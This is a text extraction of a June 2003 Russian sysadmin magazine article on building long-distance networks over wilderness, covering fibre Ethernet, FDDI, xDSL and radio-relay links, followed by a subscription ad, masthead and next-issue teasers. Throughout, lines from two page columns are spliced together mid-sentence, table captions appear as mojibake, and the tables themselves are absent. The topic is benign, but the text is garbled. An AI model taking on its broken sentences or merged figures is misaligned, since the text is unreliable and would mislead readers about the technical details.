соответствующего ему ответа может быть весьма велика, ку объединяют свои элементы именно посредством ука-
в данном случае это не играет никакой роли, поскольку ла- зателей, что «съедает» весь выигрыш от быстродействия
тентность (т. е. величина данной задержки) полностью мас- микросхем памяти.
кируется конвейеризацией и производительность памяти
1
определяется исключительно ее пропускной способностью. На самом деле кэш-линейки P-4 делятся на две по-
Можно провести следующую аналогию: пусть сборка од- ловинки, загружающих свое содержимое независимо друг
ного отдельного взятого Мерседеса занимает, скажем, це- от друга.
2
лый месяц. Однако если множество машин собирается па- NA: not available – не поддерживается.

88
cети

ДАЛЬНЯЯ СВЯЗЬ. КАК ЭТО БЫВАЕТ

ДЕНИС ЕЛАНСКИЙ

90
сети
Позволю себе немного пофантазировать: предположим, чае это обнаружение коллизий, во втором – избежание. В
нужно сделать сеть. Чего бы проще? А как быть, если любом случае, при соединении типа точка-точка при пол-
расстояния между подсетями от 5 до 1000 километров? нодуплексной передаче коллизий данных не возникает.
Тоже вроде бы не проблема – арендуй линию у провайде- Длина сегмента зависит от типа оптического носителя
ра и не мучайся. Можно купить широкий канал, можно (одномодовое или многомодовое оптоволокно использу-
поуже – какие проблемы? А что делать, когда до ближай- ется), от типа передатчика и от длины световой волны.
шего провайдера расстояние такое же, как и до наиболее К преимуществам этой технологии можно отнести:
удаленного подразделения?  высокая скорость передачи данных (до 160 Гб/с);
А вот теперь исходные данные: расстояния – значи-  значительные расстояния, которые могут быть пере-
тельные (от 5 до 1000 км), инфраструктуры практически крыты сегментом сети (существующие 40 километров,
никакой (ни магистральных линий, ни обычных телефон- очевидно, не предел – существует отчетливая тенден-
ных кабелей) и болота, болота, тайга, комары и прочий ция к увеличению дистанций);
гнус, плюс суровый климат: градиент температуры – гра-  помехозащищенность (эта положительная черта соот-
дусов 80. ветствует не столько технологии Ethernet, сколько тех-
И в этих условиях надо построить интерсеть для нологиям передачи данных по оптоволокну).
предприятия. Дальше я рассмотрю некоторые техноло-
гии, которые были использованы при реализации про- К недостаткам метода нельзя не отнести следующие:
екта (все-таки оно заработало) и сделаю некоторые  высокая стоимость линий;
обобщения на основании собственного опыта, получен-  недостатки технологии Ethernet (избыточность служеб-
ного от этой работы. ной информации, понижающая полезную пропускную
способность канала);
LAN  проблемы, связанные с использованием оптоволокна
Изначально локальные вычислительные сети предназна- (физическая хрупкость, способность к замутнению сер-
чались для объединения вычислительных машин в пре- дечника и потере проводимости).
делах малых зданий. Причиной тому была низкая пропус-
кная способность сети (которая при увеличении рабочих MAN
расстояний снижалась экспоненциально), а также отсут- К классу городских сетей принято относить вычислитель-
ствие подходящих алгоритмов и средств передачи. Одна- ные сети, построенные на базе технологии FDDI.
ко с развитием этого направления, с возникновением стан- Технология FDDI во многом основывается на техноло-
дартов, описывающих высокоскоростные сети, с появле- гии Token Ring, развивая и совершенствуя ее основные
нием новых материалов, позволяющих расширить ради- идеи. Разработчики технологии FDDI ставили перед со-
ус сегмента сети, стало возможным использование ло- бой в качестве наиболее приоритетных следующие цели:
кальных сетей для создания достаточно протяженных  Повысить битовую скорость передачи данных до
структур с высокой пропускной способностью. 100 Мб/с.
Среди множества технологий локальных сетей для по-  Повысить отказоустойчивость сети за счет стандарт-
строения магистральных каналов дальнего действия сто- ных процедур восстановления ее после отказов раз-
ит рассматривать оптико-волоконные Ethernet-сети. Со- личного рода: повреждения кабеля, некорректной ра-
временные реализации этого направления позволяют боты узла, концентратора, возникновения высокого
достичь скорости передачи в 10 Гб/с, а с учетом дуплекс- уровня помех на линии и т. п.
ности (одновременной приемопередачи) – 20Гб/с. При  Максимально эффективно использовать потенциаль-
этом, используя технологию объединения каналов, пред- ную пропускную способность сети как для асинхрон-
ложенную Cisco Systems (EtherChannel), номинальная ско- ного, так и для синхронного трафиков.
рость передачи данных может быть увеличена еще в 8
раз. Естественно, что полезная производительность ка- Сеть FDDI строится на основе двух оптоволоконных
нала Ethernet значительно ниже, т.к. существенную часть колец, которые образуют основной и резервный пути пе-
трафика составляет служебная информация. редачи данных между узлами сети. Использование двух
Технология Ethernet характеризуется алгоритмами колец – это основной способ повышения отказоустойчи-
CSMA/CD и CSMA/CA. Оба этих алгоритма определяют вости в сети FDDI, и узлы, которые хотят им воспользо-
множественный доступ с контролем несущей и различа- ваться, должны быть подключены к обоим кольцам. В нор-
ются лишь методом борьбы с коллизиями: в первом слу- мальном режиме работы сети данные проходят через все
Òàáëèöà 1. Äàëüíîäåéñòâèå îïòîâîëîêîííûõ ñåòåé Ethernet.

№6(7), июнь 2003 91


cети
узлы и все участки кабеля первичного (Primary) кольца, ляции, технологию передачи. В настоящее время суще-
поэтому этот режим назван режимом Thru: «сквозным» ствуют и широко используются несколько технологий, от-
или «транзитным». Вторичное кольцо (Secondary) в этом носящихся к глобальным сетям: xDSL, ISDN, Frame Relay,
режиме не используется. ATM и SDH. Но поскольку основной задачей исследова-
В случае какого-либо вида отказа, когда часть первич- ния является подбор технологий для построения глобаль-
ного кольца не может передавать данные (например, об- ных каналов в крайне неблагоприятной среде, техноло-
рыв кабеля или отказ узла), первичное кольцо объединя- гии ATM и SDH (та компонента, которая отвечает за ка-
ется со вторичным, образуя вновь единое кольцо. Этот нал передачи данных, во всяком случае) из рассмотрения
режим работы сети называется Wrap, то есть «свертыва- исключаются по причине высокой стоимости и требова-
ние» или «сворачивание» колец. Операция свертывания тельности к каналам передачи данных, а о Frame Relay и
производится силами концентраторов и/или сетевых адап- ISDN писали достаточно много, чтобы делать это снова.
теров FDDI. Для упрощения этой процедуры данные по
первичному кольцу всегда передаются против часовой xDSL
стрелки, а по вторичному – по часовой. Поэтому при об- Существует несколько стандартов класса xDSL. Их общие
разовании общего кольца из двух колец передатчики стан- характеристики (скорость, дальность, топология) приво-
ций по-прежнему остаются подключенными к приемникам дятся в таблице 3.
соседних станций, что позволяет правильно передавать и Наиболее перспективной отечественной разработ-
принимать информацию соседними станциями. кой в области xDSL является система MEGATRANS-2L.
Кольца в сетях FDDI рассматриваются как общая раз- С целью достижения требуемых параметров по даль-
деляемая среда передачи данных, поэтому для нее опре- ности и помехозащищенности оборудования использу-
делен специальный метод доступа. Этот метод очень бли- ется несимметричная, адаптивная многопозиционная
зок к методу доступа сетей Token Ring и также называет- модуляция с регулируемым уровнем. В новом поколе-
ся методом маркерного (или токенного) кольца. нии оборудования применяется алгоритм Аналоговой
В таблице 2 представлены результаты сравнения тех- Обработки и Коррекции Сигнала (АОКС). Алгоритм
нологии FDDI с технологиями Ethernet и Token Ring. АОКС позволяет оптимизировать работу системы на
Помимо FDDI существуют решения SDDI и UDDI, отли- кабелях с диаметром жил от 0,8 до 1,2 мм и тем самым
чающиеся только средой передачи (экранированная и добиться дальнейшего увеличения дальности работы.
неэкранированная витая пара соответственно). На сегодняшний день система MEGATRANS-2L обеспе-
чивает большую дальность работы (длину участка ре-
WAN генерации), чем любая другая цифровая система пере-
Говоря о глобальных сетях, стоит различать логические и дачи той же пропускной способности.
физические технологии сетей. Под физическими WAN я Система передачи MEGATRANS-2L гарантированно ра-
буду понимать методы создания физического канала, ли- ботоспособна на всех сегментах кабельной линии, где
нии передачи, а под логическими WAN – способ инкапсу- может быть успешно применена аналоговая аппаратура
Òàáëèöà 2. Ñðàâíåíèå õàðàêòåðèñòèê ñåòåé FDDI, Ethernet è Token Ring.

92
сети
Òàáëèöà 3. Ñòàíäàðòû xDSL.

типа К-60. Более того, в ряде случаев система лям. Приведенные ниже параметры даны для работы по
MEGATRANS-2L обеспечивает больший «запас устойчи- симметричным кабелям.
вости» при ухудшении параметров кабельной линии, чем Оконечное оборудование линейного тракта имеет стан-
системы К-60. дартные интерфейсы G.703 (формат кадра G.704) для
Линейный тракт рассчитан главным образом на рабо- сопряжения с любыми системами, поддерживающими
ту по симметричным электрическим кабелям связи, од- данный стандарт, например, непосредственно с оборудо-
нако возможна работа системы и по коаксиальным кабе- ванием коммутации каналов (цифровой АТС), оборудова-
Òàáëèöà 4. Îñíîâíûå õàðàêòåðèñòèêè Nateks-Microlink STM-1

№6(7), июнь 2003 93


cети
нием временного разделения (мультиплексором) или ком- пользуемой антенны). Основными преимуществами сис-
мутации пакетов (IP, ATM, FR и т. д.). темы является простота установки, настройки и эксплуа-
При замыкании, асимметрии или обрыве кабельных тации. Кроме того, не требуется дополнительное обору-
пар дистанционное питание отключается. Предусмотре- дование для сопряжения беспроводного тракта передачи
на возможность определения поврежденного сегмента с локальными сетями: мост имеет два интерфейса: RJ-45
путем реверса полярности дистанционного питания. для подключения к ЛВС и два высокочастотных интер-
фейса для подключения к антеннам. Другим положитель-
Беспроводные системы связи ным моментом при использовании Cisco Air Net 350 явля-
Рассмотренные ранее случаи предполагали использова- ются его мостовые функции, позволяющие осуществлять
ние существующих, либо прокладку новых кабельных си- разбиение сети на домены широковещания.
стем. Однако в случаях, когда подобная операция невоз- Предоставляемые сервисы подходят для последова-
можна, целесообразно обратиться к беспроводным лини- тельного объединения локальных сетей, при этом для по-
ям связи. Беспроводные (радио-) каналы можно разде- строения магистральной линии данная технология не при-
лить на мультиплексируемые (ISDN-подобные) и немуль- емлема по причине низкой пропускной способности и осо-
типлексируемые (Ethernet-подобные). К первому типу от- бенностей технологии Ethernet.
носится оборудование Natex (Natex Mikrolink SDH), а ко
второму – радиомосты Cisco AirNet 350. Заключение
Эти технологии позволяют ретранслировать сигнал Ну а теперь попробую подвести некоторый итог, посчи-
на расстоянии до 60 км (расстояние зависит от типа ис- тать сухой остаток.
пользуемых антенн, от погодно-климатических условий В рассмотренном выше материале предлагаются раз-
и рельефа). личные методы построения линий связи дальнего дей-
Оборудование класса Nateks-Microlink SDH используется ствия как в условиях наличия, так и отсутствия каких-либо
для построения радиорелейных линий уровня STM-1. Оно проводных сетей. Предлагаются способы построения ло-
позволяет создавать как однопролетные, так и много- кальных объединений, а также магистральных каналов с
пролетные линейные и кольцевые радиорелейные линии широкой полосой пропускания.
с резервированием. Длина одного пролета РРЛ-линии В таблице 5 отражены сводные результаты проведен-
может составлять от 5 до 60 км. Так же могут организо- ной работы.
вываться РРЛ с частотным или пространственным раз- Приводимая рекомендация неабсолютна, т.к. носит
носом приемников и передатчиков. Nateks-Microlink SDH общий характер и не учитывает местной специфики, та-
может быть встроена в телекоммуникационные сети, от- кой как финансовые возможности, реальные потребно-
вечающие стандартам SDH/SONET, и является высоко- сти в качестве связи, априорно существующие возмож-
производительным решением для беспроводной переда- ности и т. п.
чи информации по этим сетям, резервирования и/или до- При этом она и неголословна – все решения были ис-
ступа к ним. Система поддерживает транспортные про- пользованы в проекте, речь о котором шла в самом нача-
токолы АТМ и IP по SDH. Оборудование может быть со- ле статьи. Другое дело, что конкретные условия могут от-
единено с мультиплексором доступа и управляться се- личаться в зависимости от места реализации, так что эта
тевым менеджментом SDH, превращаясь в часть сквоз- условность неизбежно внесет некие коррективы. На мой
ного SDH-решения. Поддерживается трафик АТМ 155 взгляд, сколь я могу себе его позволить, наиболее перс-
Мбит/с и ЕЗ/ТЗ и Fast Ethernet. пективным для внедрения направлением является техно-
В таблице 4 приводятся общие характеристики обору- логия беспроводных SDH, позволяющая высокоскоросную
дования и получаемого канала передачи. производительную передачу данных на большие рассто-
Для построения недорогих, но при этом достаточно про- яния с высокими возможностями мультиплексирования.
изводительных радиоканалов, возможно использование
технологии Ethernet. Подобную функциональность предо- Ññûëêè â òåìó:
ставляет радиомост Cisco Air Net 350. www.xdsl.ru
Это устройство обеспечивает передачу данных на ско- www.citforum.ru
www.cisco.com
рости 11 Мб/с на расстояния до 40 км (дальность и ско- www.nateks.ru
рость, как и у Микролинк, зависит от погодно-климати- www.nortel.com
http://lattice.itep.ru
ческих условий и рельефа местности, а также от типа ис-

Òàáëèöà 5. Ïðèìåíÿåìàÿ òåõíîëîãèÿ â çàâèñèìîñòè îò íàçíà÷åíèÿ êàíàëà è ðàçâèòîñòè ìåñòíîé èíôðàñòðóêòóðû.

94
подписка

Альтернативная подписка: ООО «Интер-Почта»


по тел. (095) 500-00-60
Курьерская доставка по Москве
81655

Единый
подписной
индекс:

81655
по каталогу 81655
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№6(7), июнь 2003 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№6(7), Июнь, 2003 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
НОМЕРЕ:
sekretar@samag.ru
Технический редактор
Владимир Лукин Неявный самоконтроль Настройка сервера SSH
как средство создания Сервис Telnet обеспечивает базовую
РЕКЛАМНАЯ СЛУЖБА неломаемых защит эмуляцию терминалов удаленных си-
тел.: (095) 928-8253 (доб. 112) Основная ошибка подавляющего боль- стем, поддерживающих протокол
факс: (095) 928-8253 шинства разработчиков защитных ме- Telnet над протоколом TCP/IP. Обес-
Константин Меделян ханизмов состоит в том, что они дают печивается эмуляция терминалов
reсlama@samag.ru явно понять хакеру, что защита еще не Digital Equipment Corporation VT 100,
взломана. Если защита сообщает «не- Digital Equipment Corporation VT 52,
Верстка и оформление верный ключевой файл (пароль)», то TTY. Любые команды, выполняемые
imposer@samag.ru хакер ищет тот код, который ее выво- с помощью Telnet, обрабатываются
maker_up@samag.ru дит и анализирует условия, которые telnet-сервером, а не локальным ком-
приводят к передаче управления на пьютером. Пользователь лишь видит
Дизайн обложки данную ветку программы. Если защи- результат выполнения этих команд.
Николай Петрочук та в случае неудачной аутентификации Для использования Telnet на уда-
блокирует некоторые элементы управ- ленном компьютере должен быть ус-
103012, г. Москва, ления и/или пункты меню, хакер либо тановлен Telnet-демон. Практически
Ветошный переулок, дом 13/15 снимает такую блокировку в «лоб», в каждой операционной системе су-
тел.: (095) 928-8253 (доб. 112) либо устанавливает точки останова (в ществует утилита telnet, которая яв-
факс: (095) 928-8253 просторечии называемые «бряками») ляется клиентом для протокола Тelnet.
Е-mail: info@samag.ru на API-функции, посредством которых
Internet: www.samag.ru такое блокирование может быть осу- Почему, собственно, Python
ществлено (как правило, это Enable Администраторы БД очень часто нуж-
РУКОВОДИТЕЛЬ ПРОЕКТА Windows), после чего он опять-таки даются в инструментах для автомати-
Петр Положевец оказывается в непосредственной бли- зации разной рутинной работы, на-
зости от защитного механизма, кото- пример, для загрузки, преобразова-
УЧРЕДИТЕЛИ рый ничего не стоит проанализировать ний данных в разного рода форматы,
Владимир Положевец и взломать. для сбора и анализа различной ста-
Александр Михалев тистики. В свое время для меня та-
Стартовые скрипты FreeBSD кой палочкой-выручалочкой стал Perl.
ИЗДАТЕЛЬ Знакомство с системой зачастую на- Через некоторое время я набрел на
ЗАО «Издательский дом чинается с ее установки и настройки, Python. Что я хочу сказать после года
«Учительская газета» причем эти два процесса обычно со- знакомства: практичный и полезный
вмещены. Для систем Unix настройка инструмент.
Отпечатано типографией сводится к созданию текстовых фай-
ООО «Мастер Печати» лов конфигурации. В FreeBSD основ- Каким видится
Тираж 5000 экз. ная работа идет над файлом /etc/ хороший администратор
rc.conf, который является частью сис- Хороший системный администратор –
Журнал зарегистрирован темы стартовых скриптов /etc/rc*. как много в этих трех словах отзывает-
в Министерстве РФ по делам печати, Настроить систему после установ- ся в сердце любого начальника. В са-
телерадиовещания и средств мас- ки можно путем запуска /stand/ мом деле, как распознать хорошего
совых коммуникаций (свидетельство sysinstall или вручную. Оба способа системного администратора среди пре-
ПИ № 77-12542 от 24 апреля 2002г.) хороши, а первый к тому же лишен тендентов на вакантное место? Ведь
недостатка большинства программ что ни говори, сисадмин в компании –
За содержание статьи ответственность автоматической настройки: уже за- одно из самых незаметных лиц и в то
несет автор. За содержание рекламно- данные параметры не перезаписыва- же время одно из самых важных. Ведь
го обьявления ответственность несет ются, а добавляются в конец файла именно от него (от них, если их много)
рекламодатель. Все права на опубли- /etc/rc.conf, где их можно затем отре- зависит, будут ли «бесперебойно рабо-
кованные материалы защищены. Ре- дактировать под собственные нужды тать» ваши сотрудники, и сможете ли
дакция оставляет за собой право изме- или вообще удалить, чтобы вернуть- вы гарантировать хоть какой-то уровень
нять содержание следующих номеров. ся к настройкам по умолчанию. обслуживания своим клиентам.

96

Вам также может понравиться